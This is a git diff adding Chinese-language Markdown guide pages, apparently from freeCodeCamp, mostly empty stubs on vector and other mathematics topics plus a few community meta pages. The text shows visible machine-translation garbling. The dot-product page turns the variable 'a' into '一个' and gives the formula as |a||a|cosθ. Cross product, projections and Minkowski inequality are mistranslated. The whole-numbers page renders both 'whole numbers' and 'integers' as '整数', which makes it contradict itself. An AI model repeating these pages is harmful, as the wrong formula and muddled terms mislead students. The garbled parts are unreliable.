diff --git a/client/src/guide/chinese/mathematics/vectors/angle-between-vectors/index.md b/client/src/guide/chinese/mathematics/vectors/angle-between-vectors/index.md
new file mode 100644
index 0000000000..ca27558e56
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/angle-between-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Angle Between Vectors
+localeTitle: 矢量之间的角度
+---
+## 矢量之间的角度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/angle-between-vectors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/cauchy-schwartz-inequality/index.md b/client/src/guide/chinese/mathematics/vectors/cauchy-schwartz-inequality/index.md
new file mode 100644
index 0000000000..cf4d0190b1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/cauchy-schwartz-inequality/index.md
@@ -0,0 +1,11 @@
+---
+title: Cauchy Schwartz Inequality
+localeTitle: Cauchy Schwartz不等式
+---
+## Cauchy Schwartz不等式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/cauchy-schwartz-inequality/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/cross-product/index.md b/client/src/guide/chinese/mathematics/vectors/cross-product/index.md
new file mode 100644
index 0000000000..11a0e8a6b5
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/cross-product/index.md
@@ -0,0 +1,11 @@
+---
+title: Cross Product
+localeTitle: 交叉产品
+---
+## 交叉产品
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/cross-product/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/curves/index.md b/client/src/guide/chinese/mathematics/vectors/curves/index.md
new file mode 100644
index 0000000000..1623fcecab
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/curves/index.md
@@ -0,0 +1,11 @@
+---
+title: Curves
+localeTitle: 曲线
+---
+## 曲线
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/curves/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/directed-line-segments/index.md b/client/src/guide/chinese/mathematics/vectors/directed-line-segments/index.md
new file mode 100644
index 0000000000..7d179e41d8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/directed-line-segments/index.md
@@ -0,0 +1,11 @@
+---
+title: Directed Line Segments
+localeTitle: 定向线段
+---
+## 定向线段
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/directed-line-segments/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/dot-product/index.md b/client/src/guide/chinese/mathematics/vectors/dot-product/index.md
new file mode 100644
index 0000000000..a3bd46d0ac
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/dot-product/index.md
@@ -0,0 +1,34 @@
+---
+title: Dot Product
+localeTitle: 点产品
+---
+# 点产品
+
+载体的点积也称为“标量”积。
+
+#### 式
+
+如果**a**和**b**是在一个点上相遇的两个向量，其模数为| **一个** |和| **b** | **θ**是它们之间的角度，那么两个向量的“点”或“标量”乘积如下：
+
+**ab** = | **一个** | | **一个** | COSθ
+
+另外，如果两个矢量（ **a**和**b** ）是根据它们的[单位矢量给出的](https://en.wikipedia.org/wiki/Unit_vector) ，那么
+
+**a** = x 1 i + y 1 j
+
+和
+
+**b** = x 2 i + y 2 j
+
+他们的点积为：
+
+**ab** =（x 1 i + y 1 j）\*（x 2 i + y 2 j）
+
+由于_i_和_j_是[单位向量](https://en.wikipedia.org/wiki/Unit_vector) （相当于1），所以
+
+**ab** =（x 1 \* x 2 ）+（y 1 \* y 2 ）
+
+### 更多信息：
+
+1.  [欧几里德矢量](https://en.wikipedia.org/wiki/Euclidean_vector)
+2.  [矢量和矢量算术](http://spiff.rit.edu/classes/phys311.old/lectures/vector/vector.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/hyperplanes/index.md b/client/src/guide/chinese/mathematics/vectors/hyperplanes/index.md
new file mode 100644
index 0000000000..05a36ad9d3
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/hyperplanes/index.md
@@ -0,0 +1,11 @@
+---
+title: Hyperplanes
+localeTitle: 超平面
+---
+## 超平面
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/hyperplanes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/index.md b/client/src/guide/chinese/mathematics/vectors/index.md
new file mode 100644
index 0000000000..ec3d731c21
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/index.md
@@ -0,0 +1,7 @@
+---
+title: Vectors
+localeTitle: 矢量
+---
+## 矢量
+
+矢量是具有长度（幅度）和方向的几何对象。矢量在物理，工程和数学领域发挥着重要作用。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/introduction-to-vectors/index.md b/client/src/guide/chinese/mathematics/vectors/introduction-to-vectors/index.md
new file mode 100644
index 0000000000..6ed1b98f60
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/introduction-to-vectors/index.md
@@ -0,0 +1,29 @@
+---
+title: Introduction to Vectors
+localeTitle: 向量简介
+---
+# 向量简介。
+
+向量是可以测量的物理量（具有以单位为单位的大小）并且还在特定方向上操作，与仅可以测量的标量不同。矢量的示例包括速度，加速度，力和动量。
+
+矢量可以用绘制的线表示，这样：
+
+*   线的长度表示给定单位中的矢量的_**大小**_ ;
+*   线的_**方向**_表示矢量操作（或动作）的方向。
+
+![矢量表示](https://github.com/xeroxism/myImages/blob/master/FCC_guides/vector-representation.png?raw=true)
+
+在上图中，A到B的位移写为**AB** （ **ā**或**a** ）。 A点是原点或初始点，B点是头部或终点。该位移相当于水平移动距离_x，_然后垂直移动_y_ 。
+
+### 矢量的模数
+
+矢量的模数是一个正标量数，它给出了矢量的大小。它是这样写的：
+
+| **AB** |或者| **一个** |或者只是**AB**或**a** 。
+
+哪里; | AB | = √（ _x_ 2 + _y_ 2 ）
+
+### 更多信息：
+
+1.  [欧几里德矢量](https://en.wikipedia.org/wiki/Euclidean_vector) 。
+2.  [矢量和矢量算术](http://spiff.rit.edu/classes/phys311.old/lectures/vector/vector.html) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/minkowski-inequality/index.md b/client/src/guide/chinese/mathematics/vectors/minkowski-inequality/index.md
new file mode 100644
index 0000000000..3c3e6bbf9e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/minkowski-inequality/index.md
@@ -0,0 +1,11 @@
+---
+title: Minkowski Inequality
+localeTitle: Minkowski不平等
+---
+## Minkowski不平等
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/minkowski-inequality/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/norm-of-a-vector/index.md b/client/src/guide/chinese/mathematics/vectors/norm-of-a-vector/index.md
new file mode 100644
index 0000000000..f95fbbeb87
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/norm-of-a-vector/index.md
@@ -0,0 +1,11 @@
+---
+title: Norm of a Vector
+localeTitle: 矢量的规范
+---
+## 矢量的规范
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/norm-of-a-vector/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/parametric-representation-of-lines/index.md b/client/src/guide/chinese/mathematics/vectors/parametric-representation-of-lines/index.md
new file mode 100644
index 0000000000..1cdd521ee9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/parametric-representation-of-lines/index.md
@@ -0,0 +1,11 @@
+---
+title: Parametric Representation of Lines
+localeTitle: 线的参数表示
+---
+## 线的参数表示
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/parametric-representation-of-lines/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/projections/index.md b/client/src/guide/chinese/mathematics/vectors/projections/index.md
new file mode 100644
index 0000000000..580cc3d4f9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/projections/index.md
@@ -0,0 +1,11 @@
+---
+title: Projections
+localeTitle: 预测
+---
+## 预测
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/projections/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/spatial-vectors/index.md b/client/src/guide/chinese/mathematics/vectors/spatial-vectors/index.md
new file mode 100644
index 0000000000..818bd386c2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/spatial-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Spatial Vectors
+localeTitle: 空间矢量
+---
+## 空间矢量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/spatial-vectors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/tangent-vectors/index.md b/client/src/guide/chinese/mathematics/vectors/tangent-vectors/index.md
new file mode 100644
index 0000000000..04d2789526
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/tangent-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Tangent Vectors
+localeTitle: 切线矢量
+---
+## 切线矢量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/tangent-vectors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vectors/unit-vectors/index.md b/client/src/guide/chinese/mathematics/vectors/unit-vectors/index.md
new file mode 100644
index 0000000000..312df20a22
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vectors/unit-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Unit Vectors
+localeTitle: 单位向量
+---
+## 单位向量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/unit-vectors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/venn-diagrams/index.md b/client/src/guide/chinese/mathematics/venn-diagrams/index.md
new file mode 100644
index 0000000000..e323b27f9b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/venn-diagrams/index.md
@@ -0,0 +1,11 @@
+---
+title: Venn Diagrams
+localeTitle: 维恩图
+---
+## 维恩图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/venn-diagrams/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vertical-angles/index.md b/client/src/guide/chinese/mathematics/vertical-angles/index.md
new file mode 100644
index 0000000000..e2f8a9b3b0
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vertical-angles/index.md
@@ -0,0 +1,11 @@
+---
+title: Vertical Angles
+localeTitle: 垂直角度
+---
+## 垂直角度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vertical-angles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/vertical-asymptotes/index.md b/client/src/guide/chinese/mathematics/vertical-asymptotes/index.md
new file mode 100644
index 0000000000..1e95ac5163
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/vertical-asymptotes/index.md
@@ -0,0 +1,11 @@
+---
+title: Vertical Asymptotes
+localeTitle: 垂直渐近线
+---
+## 垂直渐近线
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vertical-asymptotes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/volume-of-a-cone/index.md b/client/src/guide/chinese/mathematics/volume-of-a-cone/index.md
new file mode 100644
index 0000000000..4b604b93f8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/volume-of-a-cone/index.md
@@ -0,0 +1,15 @@
+---
+title: Volume of a Cone
+localeTitle: 锥体的体积
+---
+## 锥体的体积
+
+给定锥体底部的半径r和锥体的高度h ，锥体的体积为
+
+1/3 \*π\* r 2 \* h 。
+
+例如，半径为8个单位，高度为18个单位的圆锥的体积为1/3 \*π\* 8 \* 8 \* 18 = 1206.37 。
+
+#### 更多信息：
+
+[锥体的体积](https://www.varsitytutors.com/hotmath/hotmath_help/topics/volume-of-a-cone)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/volume-of-a-sphere/index.md b/client/src/guide/chinese/mathematics/volume-of-a-sphere/index.md
new file mode 100644
index 0000000000..9444762582
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/volume-of-a-sphere/index.md
@@ -0,0 +1,15 @@
+---
+title: Volume of a Sphere
+localeTitle: 球体的体积
+---
+## 球体的体积
+
+给定球体的半径r ，球体的体积为
+
+4/3 \*π\* r 3 。
+
+例如，半径为10个单位的球体积为4/3 \*π\* 10 \* 10 \* 10 = 4188.79 。
+
+#### 更多信息：
+
+[球体的体积](https://www.mathopenref.com/spherevolume.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/what-a-p-value-tells-you-about-statistical-data/index.md b/client/src/guide/chinese/mathematics/what-a-p-value-tells-you-about-statistical-data/index.md
new file mode 100644
index 0000000000..58064ac395
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/what-a-p-value-tells-you-about-statistical-data/index.md
@@ -0,0 +1,11 @@
+---
+title: What a P Value Tells You About Statistical Data
+localeTitle: 什么是P值告诉您关于统计数据的信息
+---
+## 什么是P值告诉您关于统计数据的信息
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/what-a-p-value-tells-you-about-statistical-data/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/what-is-a-function/index.md b/client/src/guide/chinese/mathematics/what-is-a-function/index.md
new file mode 100644
index 0000000000..8e8229f4e6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/what-is-a-function/index.md
@@ -0,0 +1,13 @@
+---
+title: What Is a Function
+localeTitle: 什么是功能
+---
+## 什么是功能
+
+函数在数学上被定义为一组数字到另一组的映射。例如`f(x) = x*2.`来自某个集合（称为域）的任何给定输入始终从该范围提供一个特定输出。在加倍函数中，输入1,3和5映射到范围中的数字2,6和10，这也是所有实数的集合。
+
+相反，编程中的“函数”（更准确地称为某些语言中的方法或子例程）是一种获取一个或多个值并输出一个或多个输出的方法。通常不能保证某些内部状态（例如全局变量）可以以这样的方式改变，即f（2）可以一次为5，或者当你再次运行时为10。在大多数允许的语言中，甚至在某些情况下都是预期的，但是某些使用_函数式编程的_语言在数学上将函数定义为函数，因为没有状态变量可以改变并且具有不一致性，从而提供更“可证明正确”的代码。
+
+#### 更多信息：
+
+功能语言： [Haskell](http://learnyouahaskell.com/chapters) ， [Clojure](https://clojure.org/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/what-is-the-domain-of-a-function/index.md b/client/src/guide/chinese/mathematics/what-is-the-domain-of-a-function/index.md
new file mode 100644
index 0000000000..24934f0144
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/what-is-the-domain-of-a-function/index.md
@@ -0,0 +1,13 @@
+---
+title: What Is the Domain of a Function
+localeTitle: 什么是函数的域
+---
+## 什么是函数的域
+
+函数的域是自变量的完整可能值集。换句话说，域是所有可能的x值的集合，它将使函数“工作”，并将输出实际的y值。
+
+例如，对于y = sqrt（x + 2） ，此函数的域为x> = -2 。
+
+#### 更多信息：
+
+[函数的域和范围](https://www.intmath.com/functions-and-graphs/2a-domain-and-range.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/what-is-the-range-of-a-function/index.md b/client/src/guide/chinese/mathematics/what-is-the-range-of-a-function/index.md
new file mode 100644
index 0000000000..06b54517d2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/what-is-the-range-of-a-function/index.md
@@ -0,0 +1,13 @@
+---
+title: What Is the Range of a Function
+localeTitle: 什么是函数的范围
+---
+## 什么是函数的范围
+
+在替换域之后，函数的范围是因变量的所有可能结果值的完整集合。换句话说，范围是在替换所有可能的x值后得到的y值。
+
+例如，对于y = sqrt（x + 2） ，此函数的范围是y> = 0 。
+
+#### 更多信息：
+
+[函数的域和范围](https://www.intmath.com/functions-and-graphs/2a-domain-and-range.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/whole-numbers-and-integers/index.md b/client/src/guide/chinese/mathematics/whole-numbers-and-integers/index.md
new file mode 100644
index 0000000000..17c582f3c8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/whole-numbers-and-integers/index.md
@@ -0,0 +1,25 @@
+---
+title: Whole Numbers and Integers
+localeTitle: 整数和整数
+---
+## 整数和整数
+
+### 整数
+
+所有正数，包括零，没有小数或小数部分。从1,2,3等开始的数字......称为计数数字或自然数字。
+
+_示例：_ 0,8,512,36535
+
+由于其微不足道的性质，整数通常被视为理所当然。但是，我们对数学的全部理解依赖于对整数和计数的概念的理解。
+
+使用整数，我们可以计算，加，减，乘，从而能够执行所有其他数学函数。您可以使用整数表示整数，理性，非理性和实数。
+
+### 整型
+
+整数具有上面提到的整数的所有属性。另外，整数可以是负数。
+
+所有整数都是整数。
+
+_示例：_ -23，-11,0,12,7129
+
+如果整数是负数，它在它之前有一个`-`符号。 您可以通过[舍入](https://www.mathsisfun.com/rounding-numbers.html)过程将任何实数转换为整数。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/worked-example-converting-a-fraction-to-a-decimal/index.md b/client/src/guide/chinese/mathematics/worked-example-converting-a-fraction-to-a-decimal/index.md
new file mode 100644
index 0000000000..9a18288d7b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/worked-example-converting-a-fraction-to-a-decimal/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Converting a Fraction to a Decimal
+localeTitle: 工作示例将分数转换为十进制
+---
+## 工作示例将分数转换为十进制
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-converting-a-fraction-to-a-decimal/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/worked-example-domain-and-range-from-graph/index.md b/client/src/guide/chinese/mathematics/worked-example-domain-and-range-from-graph/index.md
new file mode 100644
index 0000000000..5e639939f8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/worked-example-domain-and-range-from-graph/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Domain and Range from Graph
+localeTitle: 从图中工作示例域和范围
+---
+## 从图中工作示例域和范围
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-domain-and-range-from-graph/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/worked-example-graphing-piecewise-functions/index.md b/client/src/guide/chinese/mathematics/worked-example-graphing-piecewise-functions/index.md
new file mode 100644
index 0000000000..1513a592a7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/worked-example-graphing-piecewise-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Graphing Piecewise Functions
+localeTitle: 工作示例绘制分段函数
+---
+## 工作示例绘制分段函数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-graphing-piecewise-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/worked-example-interval-of-convergence/index.md b/client/src/guide/chinese/mathematics/worked-example-interval-of-convergence/index.md
new file mode 100644
index 0000000000..7e30050e70
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/worked-example-interval-of-convergence/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Interval of Convergence
+localeTitle: 工作实例的收敛时间间隔
+---
+## 工作实例的收敛时间间隔
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-interval-of-convergence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/worked-example-order-of-operations-pemdas/index.md b/client/src/guide/chinese/mathematics/worked-example-order-of-operations-pemdas/index.md
new file mode 100644
index 0000000000..0289825b6d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/worked-example-order-of-operations-pemdas/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Order of Operations Pemdas
+localeTitle: 工作示例操作顺序Pemdas
+---
+## 工作示例操作顺序Pemdas
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-order-of-operations-pemdas/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/worked-example-slope-from-two-points/index.md b/client/src/guide/chinese/mathematics/worked-example-slope-from-two-points/index.md
new file mode 100644
index 0000000000..6d26a9275c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/worked-example-slope-from-two-points/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Slope from Two Points
+localeTitle: 两点的工作示例斜率
+---
+## 两点的工作示例斜率
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-slope-from-two-points/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/working-with-exponents-and-logarithms/index.md b/client/src/guide/chinese/mathematics/working-with-exponents-and-logarithms/index.md
new file mode 100644
index 0000000000..2f2afacfda
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/working-with-exponents-and-logarithms/index.md
@@ -0,0 +1,13 @@
+---
+title: Working with Exponents and Logarithms
+localeTitle: 使用Exponents和Logarithms
+---
+## 使用Exponents和Logarithms
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/working-with-exponents-and-logarithms/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[https://www.mathsisfun.com/algebra/logarithms.html](https://www.mathsisfun.com/algebra/logarithms.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/x-and-y-intercepts/index.md b/client/src/guide/chinese/mathematics/x-and-y-intercepts/index.md
new file mode 100644
index 0000000000..0dbb3db4a1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/x-and-y-intercepts/index.md
@@ -0,0 +1,17 @@
+---
+title: X and Y Intercepts
+localeTitle: X和Y截距
+---
+## X和Y截距
+
+X截距是X轴上的点，其中函数的图形与轴交叉或接触。它们出现在`y = 0` 。
+
+Y截距是函数图与Y轴交叉的点。它发生在`x = 0` 。
+
+一个函数可以有多个X截距，但只能有一个Y截距。
+
+要找到X截距（s），设置`y = 0`并求解x的等式。
+
+要找到Y截距，请设置`x = 0`并求解y的等式。
+
+作为示例，已经针对`y = mx + b`形式的典型线解决了X和Y截距。 ![显示以y = mx + b的形式发现典型线的x和y截距的图像。 Y截距等于b，X截距等于负b除以m](https://raw.githubusercontent.com/hayleycd/images/master/solve_intercepts.jpeg)
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-agenda-for-october-summit-2015/index.md b/client/src/guide/chinese/meta/free-code-camp-agenda-for-october-summit-2015/index.md
new file mode 100644
index 0000000000..f37c8e129c
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-agenda-for-october-summit-2015/index.md
@@ -0,0 +1,13 @@
+---
+title: Free Code Camp Agenda for October Summit 2015
+localeTitle: 2015年10月峰会免费守则计划议程
+---
+我们的2015年10月3日峰会将于美国东部时间周六中午在[twitch.tv频道](http://twitch.tv/freecodecamp)开始，之后将在我们的[YouTube频道播出](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ?sub_confirmation=1) 。
+
+在这1小时的直播中，我们将：
+
+*   推出免费的前端和全栈开发证书课程
+*   演示我们新的，更全面的投资组合页面
+*   演示一种新的方式，我们所有的营员都可以立即开始帮助非营利组织
+*   与露营者Blake Johnston交谈，他创建了Free Code Camp将用于我们的完整堆栈后端项目挑战的Clementine.js样板
+*   在teespring.com上推出我们的首个T恤广告系列
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-brownie-points/index.md b/client/src/guide/chinese/meta/free-code-camp-brownie-points/index.md
new file mode 100644
index 0000000000..571020c590
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-brownie-points/index.md
@@ -0,0 +1,16 @@
+---
+title: Free Code Camp Brownie Points
+localeTitle: 免费代码营布朗尼积分
+---
+Free Code Camp上你的照片旁边的数字告诉你你有多少布朗尼点数。
+
+![与布朗尼积分得分相邻的用户个人资料照片](//discourse-user-assets.s3.amazonaws.com/original/2X/a/aa0c6b56b3b0d4f3acd63212b5e737fdcdd75729.png)
+
+您可以通过两种方式获得布朗尼积分：
+
+1.  完成挑战 - 您完成每次挑战时获得一分
+2.  帮助其他露营者进入gitter聊天室 - 每次你帮助另一个露营者并且他们感谢你（通过输入“thanks @yourname ”），你会得到一个观点。
+
+> 布朗尼积分可以帮助您看起来像那种经常编码，分享相关链接并帮助人们的人。
+
+它们还会添加到您的[Streak中](http://forum.freecodecamp.com/t/free-code-camp-streaks/18379) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-completion-language-requirements/index.md b/client/src/guide/chinese/meta/free-code-camp-completion-language-requirements/index.md
new file mode 100644
index 0000000000..c4d2514bf6
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-completion-language-requirements/index.md
@@ -0,0 +1,13 @@
+---
+title: Free Code Camp Completion Language Requirements
+localeTitle: 免费代码营完成语言要求
+---
+最后800小时的免费代码营涉及为非营利组织建设项目。这些非营利性项目将涉及大量会议，通信和结对编程，所有这些都将以英语进行。
+
+你需要对英语足够好才能参加这些会议。
+
+我们正在将我们的挑战转化为母语，以便您可以专注于学习编码，而不是专注于学习英语。
+
+许多非英语母语人士在我们的非营利项目计划中取得了成功。通过一些努力，你也可以。
+
+如果您需要练习或提高您的英语技能，请尝试使用[Duolingo](https://www.duolingo.com/) ，它是免费的，允许您练习和跟踪您的进度。
\ No newline at end of file
